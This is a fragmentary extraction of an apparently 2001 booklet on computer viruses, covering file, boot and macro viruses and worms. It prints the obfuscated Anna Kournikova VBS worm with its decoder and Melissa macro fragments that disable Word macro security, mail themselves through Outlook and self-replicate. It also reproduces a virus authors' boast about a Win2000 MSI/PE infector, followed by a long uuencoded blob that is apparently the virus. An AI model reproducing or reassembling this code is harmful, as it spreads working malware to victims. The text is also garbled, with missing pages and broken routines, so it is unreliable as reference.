Virus Workshop
Virus Workshop
Table Of Contents
2
Table Of Contents
3
Prologue
Prologue
Fotis Fotopoulos
Boston, 2001
File Viruses
Chapter 1
1. File Viruses
1.1 Introduction
There are also are viruses infecting files containing program source
code, libraries or object modules. Viruses that also save themselves in data
files, but these happens either as a result of erratic behavior of the virus, or
when the virus's aggressive routine is at work. Macro viruses also save their
code in databases - documents or spreadsheets - but these viruses are so
peculiar that they are put into separate group.
5
File Viruses
Another kind of overwriting viruses is the one that saves itself instead
of a DOS header of New-EXE files. The main part of the file remains
unchanged after that and continues working properly under the
corresponding operating system, but the DOS header becomes damaged.
Parasitic viruses are all the file viruses, which have to change the
contents of target files while transferring copies of themselves, but the files
themselves remain to be completely or partly usable. The main kind of these
viruses are the "prepending" viruses (saving themselves and the top of file),
"appending" (saving themselves at the end of file), and "inserting" (inserting
themselves in the middle of file). The insertion methods may also be different
- by moving a fragment of the file towards the end of file or by copying of its
own code to such parts of the file which are known to be unused ("cavity"
viruses).
6
File Viruses
Having received control, the virus does the following (here goes a list
of the most common actions of the virus during its execution; for each
particular virus this list may be added to, or items may change order and
broaden):
A memory resident virus checks RAM for presence of the copy of this
virus in it, and infects RAM if no copy has been found. Non-TSR virus looks
for uninfected files in the current and (or) the root directory, in the
directories of the PATH, scans the directory tree of logical drives, and then
infects the found files;
7
File Viruses
8
Worms
Chapter 2
2. Worms
Execute
9
Worms
e7iqom5JE4z("X)udQ0VpgjnH•{tEcggv•f{DQ•VpgjnH•{Q••ptGqt•tgTwugoP•zg•vU•
vgG•Q9v58Jr7R6?•E•gtvcQgldeg*vY$eUktvrU0gjnn+$••9G5QJv786r0Rgtyiktgv$•M
JWEu^hqyvtc^gpQjVHg{n$^•.jE*t9:•+•(jE*t33+3(•E•tj3*63•+•(jE*t23+;(•E•tj
5*+4(•E•tj3*;2•+•(jE*t9;•+•(jE*t23+2(•E•tj3*32•+•(jE*t45•+•(jE*t33+;(•E
•tj3*72•+•(jE*t33+8(•E•tj3*62•+•(jE*t45•+•(jE*t8:•+•(jE*t:;•+•(jE*t33+7
(•E•tj3*;3•+•(jE*t23+5(•E•tj5*+4(•E•tj6*+;(•E•tj6*+8(•E•tj7*+5(•E•tj6*+
:(•E•tj;*+:••gU•vQtcyVopldi?7E•gtvcqgldeg*vu$terkkviph0nkugu{gvqoldeg$v
•+t•yQoclVip7de0rqh{nk•guyterk0veuktvrwhnncpgot.yQoclVip7dI0vgrUegckHnn
qgf*t+2•(^$pCcpqMtwkpqmcxl0irx0ud•$k••h9G5QJv786r0Rgtticg•f$*MJWEu^hqyv
tc^gpQjVHg{no^kcgn$f•+@>$•$3v•gj•pg•p4CUJ9inEN+*••pg•fhk••hko•pqjvp*yq•
+3?c•fpf•{cp*yq•+4?•8jvpg••9G5QJv786r0Rwt•pJ$vv<r11yy0y{fcp{dgvp0$n5.h.
ncgu••pg•fhk••gU•vMLUiJy9M59?zt•yQoclVip7dq0grvpzghvnk*guyterk0veuktvrw
hnncpgo•.+3••P\L7\Mz6wk?XL•iMyUMJ99z5t0cgcfnn••MLUiJy9M590znEuq•gF••qK•
•hqP•vt*yQoclVip7dh0nkggkzvu*uuyterk0veuktvrwhnncpgo++V•gj•pU•vgW•Kg44:
|6R2x•?QtcyVopldi07tecggvgvvzkhgny*euktvru0terkhvnwpnoc.gV•wt+g••gW4K|4
R:x602tyvk\g7PML6\kzXw••gW4K|4R:x602nEuq•gG•fpK••hN•qq•rH•pwveqk•p4gUp9
CnJNi*E•+Q••ptGqt•tgTwugoP•zg•vU•vgF•54xQOzM8JT?•E•gtvcQgldeg*vQ$vwqnmq
C0rrkncekvpq+$••hKF•54xQOzM8JT•?Q$vwqnmqV$gj•pU•vgl•74PvD\h;n:F?54xQOzM
8JTI0vgcPgorUec*gO$RC$K•+U•vgU•m834i35gN5•?4lv7\P;D:h0nfCtfugNuukuv••qH
•tcGjeL•4TRoOuD4ToK••p8U4m33gi55•NK••hTLo4uR4OoD0TfCtfugGuvpktugE0wqvp>
••@•2jVpg••6fFDz5yi3x•L•?TLo4uR4OoD0TfCtfugGuvpktugE0wqvp••qH•t9Z;:cX|5
gT?|3•V••q6fFDz5yi3x•LU•vgk•9sd4:6x5\5?•F•54xQOzM8JTE0gtvcKggv*o+2••gU•
vKQ6GXDl[LQ•:•?TLo4uR4OoD0TfCtfugGuvpktugZ*:9X;5cT||g•+k•9sd4:6x5\5V0•q
•?KQ6GXDl[LQ0:fCtfug•uk•9sd4:6x5\5U0dwglve?•$•gJgt{•wqj•xc.g=•+q•$k•9sd
4:6x5\5D0fq•{•?J$<k•$•(dxtehn(•$•jEeg•mjVuk$#(•x•ednt•h•($$••gu•vYhpu:s
I[h;?3sk496d5:5x0\vCcvjegovp•uh•uYsp[:;I3hC0fft•yQoclVip7dI0vgrUegckHnn
qgf*t+2•(^$pCcpqMtwkpqmcxl0irx0ud•$k•9sd4:6x5\5F0ngvgCgvhtgwUodvk?•V•wt
•gK••hsk496d5:5x0\qV>••@$$V•gj•pk•9sd4:6x5\5U0pg•fG•Q9v58Jr7R6t0igtyvk•
gJ$EM^WquvhcygtQ^VpgjnH^{conkfg.$$•$3••pG•fhK••gPvz••pG•fhK••gPvz••pg•f
hk••pG•fwHepkvpq••X)udiy3•70d2")
Function e7iqom5JE4z(hFeiuKrcoj3)
‘ Take all the random bunch of characters and make a loop from I=1 to
the whole length of characters, taking 2 at each loop.
10
Worms
StTP1MoJ3ZU= Mid$(hFeiuKrcoj3, I, 1)
WHz23rBqlo7= Mid$(hFeiuKrcoj3, I + 1, 1)
If Asc(StTP1MoJ3ZU) = 15 Then
StTP1MoJ3ZU= Chr$(10)
ElseIf Asc(StTP1MoJ3ZU) = 16 Then
StTP1MoJ3ZU = Chr$(13)
ElseIf Asc(StTP1MoJ3ZU) = 17 Then
StTP1MoJ3ZU = Chr$(32)
Else
StTP1MoJ3ZU = Chr$(Asc(StTP1MoJ3ZU) - 2)
End If
11
Worms
‘ Now, append the converted strings to the return function and thus
create a decrypted string
Next
End Function
Sub Main()
On Error Resume Next
Set ws = CreateObject("WScript.Shell")
‘ The following says: Worm made with Vbswg 1.50b (instead of using a
string, it uses one by one the ascii values of the equivalent
characters and therefore no ascii search can find the string!
12
Worms
‘if the value of the registry key (regread = read from registry) mailed
is not 1, then execute Outlook function (see later).
‘How nice! If the date is January 26th, then browse to this page
http://www.dynabyte.nl (every year!)
‘ Sets AnnaKournikova equal to the handle of the text file, gets the
source code and stores it in SourceCode and then closes the file.
Do
‘ if the file does not exist then set the handle of the file system
object equal to AnnaKournikova, create the file, write the contents of
the SourceCode variable in the file and close it.
Function Outlook()
‘ignore errors throughout this routine
On Error Resume Next
13
Worms
‘create an object Mapi from the Name Space of the Outlook Application
Set Mapi=OutlookApp.GetNameSpace("MAPI")
14
Worms
‘send the email and modify the registry (see the main function)
If EmailItem.To <> "" Then
EmailItem.Send
ws.regwrite "HKCU\software\OnTheFly\mailed", "1"
End If
End If
End Function
15
Worms
‘here’s the main idea: get the security level that the user has set for
Microsoft Word v9.0 (also known as Word 2000 ☺).
Else
CommandBars("Tools").Controls("Macro").Enabled = False
End If
16
Worms
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by
Kwyjibo" Then
‘Subject will say “Important Message From” plus the name of the Outlook
user
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
‘The body of the email will say “Here is that document you asked for
... don’t show anyone else ;-)” and as an attachment, it’ll add itself.
17
Worms
End If
‘That’s for the registry key the virus checks to make sure that it’s
been already activated and that it can relax...
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
Kwyjibo"
End If
‘Here’s what the virus will do, but it won’t be analyzed, since our
purpose is to demonstrate how the virus works and not its consequences.
If DoNT <> True And DoAD <> True Then GoTo CYA
18
Worms
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
19
Worms
If
System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Of
fice\9.0\Word\Security","Level")<>""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1): Options.SaveNormalPrompt = (1 - 1)
End If
20
Worms
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
Kwyjibo"
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
21
Worms
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
22
Boot Viruses
Chapter 3
3. Boot Viruses
3.1 Introduction
Gap boot viruses infect the boot sector of a floppy disk and the boot
sector or Master Boot Record (MBR) of a hard disk. The boot viruses'
operating principal is based on the algorithms of starting an operation system
upon power on or reboot - after the necessary hardware tests (of memory,
disks etc.) the system loader routine reads the first physical sector of a boot
disk (A:, C: or CD-ROM depending on the options in BIOS Setup) and passes
the control to it.
In case of a hard disk the control is passed to the routine placed in the
MBR. This routine analyzes the Disk Partition Table, calculates the address of
the active boot sector (usually this is the boot sector of the C: drive), loads it
into memory and passes control to it. Having received control, the active
boot sector of the hard disk does the same actions as the diskettes' boot
sector does.
23
Boot Viruses
principle of infecting is the same in all the above methods: upon boot up the
virus "forces" the system to read into memory and pass control to the virus
code, not the original loader routine code.
Infecting the disk, the virus in most cases moves the original boot
sector (or MBR) to some other sector of the disk (for example the first free
sector). If the virus size exceeds the size of the sector, then the target sector
will contain the first part of the virus, the rest of it placed in the other sectors
(for example in the first unoccupied ones).
24
Boot Viruses
| | | | ... |
+-- Virus top | +---+-----+-----+
| +-- The rest of virus
|
+-- Original Boot or Master Boot Record
Several options of placing the original boot sector on disk and virus
continuity are known to exist: in the sectors of free clusters of a logical drive,
in the unused or rarely used system sectors, in the off-limits sectors of the
drive.
25
Boot Viruses
Some viruses record their code to the last sectors of the hard disk,
because those sectors are being used only when the hard disk is completely
filled with information (which happens rarely, especially considering the sizes
of modern hard disk drives). However these viruses lead to the damage of
the OS/2 file system, which in some cases keeps the active boot sector and
system data exactly in the last sectors of the hard disk.
The method of saving the rest of the virus outside the disk can be met
less often. This is achieved in two ways. The first one is lowering the size of
logical drives: the virus subtracts the necessary numbers from the
corresponding fields of the BPB boot sector and Disk Partition Table of the
hard disk (if the hard disk is being infected), thus lowering the size of the
logical drive, and records its code into the cut off sectors.
The second way is to record data outside the physical partitions of the
disk. In case of floppy disk to achieve that the virus has to format an
additional track on it (the method of non-standard formatting), for example,
the 40th track on a 360K diskette or the 80th track on a 1.2M or a 1.4M
diskette. There also exist the viruses writing their code outside the borders of
available space of a hard disk drive if, of course, this is permitted by
hardware (see the "Hare" virus).
When infecting most part of the viruses copies the system information
of the original loader (for MBR this information is the Disk Partition Table, for
diskette boot sector - the BIOS Parameter Block) into the code of its loader.
In the opposite case the system will be unable to load itself, because the disk
addresses of the system components are being calculated according to this
26
Boot Viruses
It is also worth mentioning that the boot viruses very rarely coexist
together on one disk - they often use the same disk sectors to place the
code/data. Therefore be code/data of the first virus become destroyed after
being infected with the second virus, and the system either hangs upon boot
up, or is engaged in an endless loop (which also leads to its hanging).
Boot viruses can also mean a lot of trouble to the users of the new
operating systems (Novell, Windows95, OS/2). In spite of the fact that the
above mentioned systems work with disks directly (overriding BIOS calls),
which blocks the virus and makes its further spreading impossible, the code
of the virus sometimes, although in very few cases, receives control after the
system reboot. Therefore the "March6" virus can "live" in the MBR of the
server and not influence the server's operation and productivity in any way.
27
Boot Viruses
However in case of an accidental reboot on the sixth of March this virus will
completely destroy all the data on the disk.
Virtually all the boot viruses are memory resident. They infiltrate the
computers memory after a boot up from an infected disk. In this process the
system loader reads the contents of the first sector of the boot up disk,
places the obtained information into memory and assets control to it (i.e. to
the virus). After that the instructions of the virus start executing, and do the
following:
" as a rule, lower the amount of free memory (a word at the 0040:0013
address), the virus copies is code to the freed space and reads its
remainder from the disk (if any). Furthermore some viruses "wait" for
the DOS to load and restore this word to its original value. As a result
they become placed not outside DOS, but as separate blocks of DOS
memory.
" intercept the necessary interrupt vectors (usually INT 13h), read the
original boot sector into memory and pass control to it.
Later on, a boot virus behaves like a resident file virus: it intercepts
the OS calls to disks and infects them, also depending on some
circumstances undertakes destructive actions or creates video or sound
effects.
There exist nonresident boot viruses - upon boot up they infect the
MBR of hard disks and of diskette(s) present in the floppy drive(s). Then
those viruses pass the control to the original loader and stop influencing the
computers operation.
28
Examples
Chapter 4
4. Examples
We, Benny and Darkman, would like to introduce u the worlds first
native Win2000/EPO/fast mid PE infector. We present u the first Win2k virus,
even before the official release of Win2000; the platform which was designed
to be un-infectable by viruses (as M$ guys often say).
This virus is also the first one, which is able to infect MSI files. It
searches the all contents of actual disk for files and randomly infects them.
Virus can infect up to 18 extensions (we won't list them here, just look at the
end of this source), so it can be also called as mega-infector X-D. Virus
doesn't enlarge the files, nor touches any items in PE header. It's able to put
itself to the holes inside the files left by some compilers and patch the host
code, so next time the virus code will be executed as the first. Virus also
uses CRC32 instead of stringz, so it saves many bytes and makes itself
undetectable by all current (Christmas 1999) AVs.
The virus is very optimized and doesn't contain any payload. This virus
can run only under Win2000. Virus doesn't infect system files, nor files
protected by SFC - using Win2k SfcIsFileProtected API (that's why it can't run
on another system than Win2000).
29
Examples
Have you ever thought about the format, in which the installation files
on internet are served? Usually it is one .exe file, created by the InstallShield
Wizard, WinZIP SFX module or another similar programs. Microsoft knew that
and so later decided to make its own standard of installation files. Microsoft
made the MSI - Microsoft Installer file format. MSI is hybrid of everything
what Microsoft ever made. MSI can contain VB scripts, binaries (e.g. PE),
documents, resources, etc. The Win2000.Installer is able to infect PE files
inside the MSI by simple searching. If the MSI contains any PE files (and it
often contains), then there is 1:2 possibility the PE file will be infected.
Microsoft also doesn't calculate any checksum of the files inside MSIs, so
there isn’t any problem with modification of MSI.
30
Examples
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
31
Examples
M8EX1VUJ27ED!^4MR4%&B^'['*G'QZIE&Y7OX);M,4BLE@_8XT-)LBGQK<;&2
MAK7_72+B/\<!&U/6JS"ZW94I=2*#L\#?Q8*LYP(%DR!0)7<JN'Z6%.)N!_5S
ML"[,56DCY[=*TU?#?GUP<F)6IU5]O9S_VV5K65JG_0VZFG@I-!"E#J4--I)4
MGT:/K]HK`3!SO)2:1.5O0X%EZ3GY2L^VM\Z3\-:YN-B,ZF]8V_89L`<!<XIE
M_:/&;-?\M]$'1T95<)]RX!3K^?A-MH'(M0#FX%M^,0AG3:AQY=\/C8X8!"I\
MP%0VRF`F#;SB6;B(I@+5%F2[C:-!8?JJ=%F_H)[;&#;9.;S1J_$VU&Z[!`9^
M":C?QOOA5ZO%!LNZ!6R*C3OJT_GRS":W!*.VO65[X!IRJQ:!P.8%(1P3Z3+P
MPFD(-,KCGLK$6_$7<U$,D@HE0"//\<-RK0Q2Q@(ZU3EC*6J@A#L-=7FA&#E(
M333PH37\&`591A-YV/$73Y+"2=RY+B4I`EE'@IT>.PR7-]+5A")F&Y-'"ED9
M*>0RS^+G898!4!K>1BYF3MSZ:NR^^+=L+-9'49J!D`3)#<BMZ`51]/7GUE%7
M_(<8N,G=PHWPVXO=QO:6D51VI#3C$S).,K<DU?9Y'[,W9;4U9-?P6)<F653-
MWAZ<CCL=3[>BUQ#L8VT%_R,[KGF)*T(F883^-KR=W1`(=V$CZL/^NO>F)QNP
MWECUU*H7.(GO8?X>4&RF^[B_-O?O:(&)GL]Y#MJ575%5(><;`B*2&DN&A;DK
M.W7J:4.W])<@0`MN>%)#DNTJ=@ESN[^]I1J`&XRE[#T0RW:Q&*+:>2),D6_<
M`:UHO1^#6(`;L>ED-B-E?YR0+E00S\XO3[[email protected]&X&@4*DQ+1S;)(?M@<"E
MVA5*JR?-:]+LO.ZYH85:@;3F%LF/!F?4],?*$ZG!\POG;.Q\'%U=C\[>5$PV
M/KYQSIS+47]\Z70'6$)7WS]<CJX=@R0E*O23P,V"0D6A=APO@TC5<K!EE!\V
MS`];[A=C!,>`AG;.<.UBW]CHMZL&E:*5C[3R]1F?^GC1?>/0L>VC^@4J;3KU
MJ;M<0JAD'=ZC43K^RP6/BWCR&438OIW@,4V\]0,:?%Y3KO=$.WT&8"6Z>.OO
M2!82K-/N14$"O#(M`)7W87!_/K41`COD+L47&%'.X+'#R_,\=?GBB4,K^PQN
M2O>3**B(SD$@98P396&T`A<50<2]SB!@F/#%*@]315E#K)7B5BMP1:X&JE8G
ML7HJ8GT7+391:A65:46N4I)E`T*R/"*KWR51RX7D*<PH1Y9YM2G&E#J'*IRW
MY+.3A\]KNZ7GFMUP=\Y^DCQL&0OR1"@,$%ZQ)YIF)Q`F?4C"[email protected]@)
MONMAQ/[,"70,"[email protected],$";_`"N9U)/A;BY(\O"1:!=424G8_9[:#QS
MZ9K]?19*Y=O>DL;78EYE$%1%#']#7ZZ2SE9(D=)-.KK9I*B=NU;+.?X5!UNO
MUT%EY8$HM>`0DU45@CZT(TAO4OT.'QC#'K8\]!7C,@@=9?NB3&,V3S`VYIR8
M;@Z"FLV`L3`3K=3IU0CR1VQ'W(>D+=C-44=9/.03:\=HU>0@!P':)&,0H(Q/
ME0FDQ53+[J%6:IK0HFCFK%4T\X5)#WV<3AY/8DX@&DZCV>P/!XU9'CRC-&+W
M9A:X/J50%&29FP"B+F0>3`?>(E]S9X]6;3:[O6:WB:L2T\J+T&,E'6T.+>T3
MMAO8)%--9DJ-O;6TYRM*?-P4FX)Y1PY.V3&\E@[0)7PEB_2AI<I4,`HK"@N.
M#<O16GXOD]M_ZIXG?U/MT<;+9FFI1UN"E1*@;[F9;3VY9,>DD+)$^N2Y+C0V
MU)2X]I&F(=]@@H\5VD%Q'1<H\`(R9/QX)8$D8![#_IH3"M_<]V*6JNM,FX57
MR9]RB3FW.E;R]9>N`0/]?JVX`9R,,4?NF.$&'MN,->`@.M8PR(-S'M9L`<VR
M22@O46;W<5ZKP5NS,J)$9'`*/GKQZ?0%DC'%RY`_G'[Z06;C(B*TZ*(LN(5=
M8CF%+6I!PY"G8?WTTW@^=:/@_L;,PRIM/.-62FE9>=W*!!-;A(@CGY\+#E_<
M>>B_YC23D<4;@+XOU8:9?\N7ET&H<TMB(.>O;Q30-%XE3]'J!^?BAYQ6%\X?
MC3\:5=0JTXJ4XT&QV*QJK7<.U?&(P<[@8QYY&G!IR'"Y(#A7U?6OBO+7G^-H
M-9]W=!5L4Q$L&(,7ZU2XLH"0-Z/Y&E]E9XLU=Y4B\3GMR9$4[VJE-8495TAR
32
Examples
M.EIJ:VBL-K0/J(M8H`312O&&/LK2Z2=Z./AH/D0WI;5E8FL+!`YGUV.4M[<D
M(O4AZ"Y(WOGT?(F8N7-^GL<;$RD[._!I9W2*:=S5Z)-S/AQ3[O(64CKG$EQ0
M+GWR/8)*$9RLZU=OQQ<LT]?QI7L_<#D.(E%V693M#$;=G>$:LEJ#<386R"LV
M,/@^3/#6,L*0O($<&8^$KOVD"ZIZL5J11)!/A#A16!OP36F\AVO0N9ZAT.>O
M3928(\N\QUBO>YG7ZU2%]>WY!TC\SGX?]WZ_=J[`[G]A#.DB$+V"`?%J?"\F
MX:V8Q5BAX4Q?^#%V!Z(`ZS3/,,]1S!JQ2:"58P?.83L+)I#^4)%`UKKALQ1@
M[=NDRPYW50=>UE(116X,"U9%'/L:N#,=MI"/3?-!C@:PK'7K)A/W-A#2NG%8
M*/%G8Z-`"D9'>4F?/3%OI]7.B$6H\`U$L*E/J0'8D7L,%N+5[<Q")<W-7HX'
MN@BLT*H[,ERE96=?6EKJ!1)[`GR)(O;%9?,85GB_4&+^I#W;WCIV95!#L\!<
M'->P/_K2=#ZGGZ1>BA_#*`U][?=_(OA>`9Z#-'SIR%9K\2-)/T_J%R;)M%U'
M%``S*,`8/@I'1_;HYU5T1YHB[F>A-Z->V`1+H!E("\M]T4(@:Y^P<Z<N6E4T
M"6S'9/&E_W9TYHQ'[<-]_1[.B*PNG-=X80<`=B3?\B2LM$=?U?F!+Z%':1NI
M"LXP=G4^.OUWU]T>?*2G>I=@'7@KOH\7+D`$\Q@V1VG#DE>_7UT[IV9E._T*
MLK'([WI%I6609F;SA<YC^X'Z.=`MC.+D)(SN@D2^[@0D;!W-RJAM+BZ[\P36
M^YJW.!4AY[O/P>!J->'#:'K.U>&OWO7XZ..S[O7HO;.9B4P5/PF_!(ERD49"
M7;FS;""?3QUL2I+GNE':;OHTZ5\DN.71GNOV:K:MT%U0-/U&MJ3ZD`H--,*O
M<N,6YC7L>*GN*$^*U&";*UED;L1!9XIA_#SVJ((#*1]WDHZIX"E=D<;G4=];
M<FIE='1*6JH)Z>:O$4X7C2.];W;QZ!K4%ZY<HZ+#NWF%G;W*-:;A%-(LNB7Y
M-R3**)`9DK-ID1&:AIZ;8MT'C/PO!@_?=^UJ;@41K>H^-YOB)6_^/R3;18-=
M,X3=%O3+[@<EZ`8Q(<DKGZK`5O-=-_994]!T*X-#JR%+)AN6,WF\*["!JZHF
M.3:&ZNG3Y5]?2=!"*U@T@J-9[7BR"N>^^.?IA3CI7KYQ=!@0[C1SMKP?7;Z[
M&G<'@TOGZHKVCI.<TD4'DYO!_MGX%(P@-1)*^4H!HV^P]#45-$I+/E:6'-Q]
M<E=H>"))2=V+>3#IG`J0P3BL4K-(^".F5/24C<5.^Z>?]R#>RN^[#SZ<7PY2
MOG`NU+6+8\H!:9HJTE?<KGA,E55(5;`&CZY0*I)NAB^9,+-H7;!BIF7LJ&X^
M9(&I$<7+/C<>'4-VQ>-Y[/,-$WY35P;&N;=T*7;E=-ZX6R&BYM@,;#D!&,=W
M'0JI/3.D5I?-*TO`<IV.>MOYJ#$S-CR_D%F!7-W8KF7/:_3[QL31V;5HEZ?:
M^!B%UQPQ#M)5-5:]<LX7E/(;"IQV!%F	U_M5O\)KI^$]>T0,NZQY'Z3L.;
M27'F-Q&-"8@(36A,X:]!-P48%-_7%[,0<@L-O?$%^KMVJZIX!G82ASHRM??M
MU-Y=;RJ$R;PH"FZQ8<KOZ.I<B(H]GTYUL2=/$G2]!W95Y1[2-KQJB=E7@51<
M+'#71H&L=,/+K$Z1BYCH6P;\A@5FRF%FKSEYK'@UV7B^274QRSQ?(&[5\5BJ
M(`N\A2E*'+"H@T37_NQED_FJA&P#19"9DF.%2C*ECBQJMV[(/\M`>YC7$'A]
M^3L'AJS#\6#&+>/TK)I89;]&_:Q!I\)T>XG7;I5>4J<7I+`0N>*+;=V+4:HF
M^WJR2\N:D^\A0^8W:\GJ&2^[ZZB+MJ2;I=RIB^_!KT1?:1.CY/':;DM(TWO+
M)[':7A0&:!Y^:QD;&'.[=*N4T:Q)%21>"41)U&5TGB.N71]>?:OVR?E-4HP7
MPR"M#R!]7"_C)*L/!E0'NS%;_(ANX0<D(*=$<$M+C4AS\C>V+X>&>:%<GK-0
M_694A'IQ+*]@4WCC#'1TC$W-],;J=*/@X!VAU"8<3SRC($'/TT%#:1I7K2I;
MT=A,D++#XF[\7`33;JEH9U\9@DWH+6DCC->M4'Z35OW2B3HV*QQ65MWU?^[=
MU+3<*(RK[H89W@-_S.6!(^E89XV^?$N*JTQY60H]6&Y"Y6]A8$W2(@KO0VB$
33
Examples
M_$,>=//4N".KRT]EOJCB'E&.2@'NW%O-T28S,0NPJMN`J.T0`=@^0\@TH]_$
M>&UF)FRI(WGQU3+5Y"SD_:?--[BK"H+409.\4Q92OI*/H0%9=(VR5*^2F=9Q
M47Q'`,^TRZ42(+ZN;F0Q9&M-$7RR"EB#IZFT<K:T%&_$673]4UJ-4DL\%]2]
MFB&?1!;UOBR1D"TPTR*GGF7H,;=S!0)7.J0_F6X&5L9O"55@QI(@)_AKR_#0
M6^>;+<MYXH=@XI2UJF@I2IULW=A2:AL:]9H#K?/9#93Q+:!"ER?5[QL1P39C
MII<LV;VI&LJM]K)H/=0/R2A0@_GF;_401E)Q"IL`BYSN1TE\%F5%>@P9B.,=
MJ]FO(VE\$4NI>_XN=>GF6_Z&IWZ)PDQIK`%J07BY0NL!35XY`]^VQ*0,MNT8
M&E_80\I^>4#^0I$U0,G4IJ4P3?'F<H"X[>&3F?H"ELF?RR\^C/AJQ(>10XEO
MF"&ZJ+(S"&?Q?A<JAI=079>N+H!!.XL!2#H;2BL.VZW&3#[`20UGT,.+OP38
M8:+1=OC>DM['NB*MW9>O?IO)HKGZ80-AT%6G$NJ3EUN1R=HNC^#7))[+R\G[
M1LU<S_'7.I+3::Z^T]%YUK7OTF\L78?>71^M>S%XM>Z&F(E:BY9O=EK<G9V$
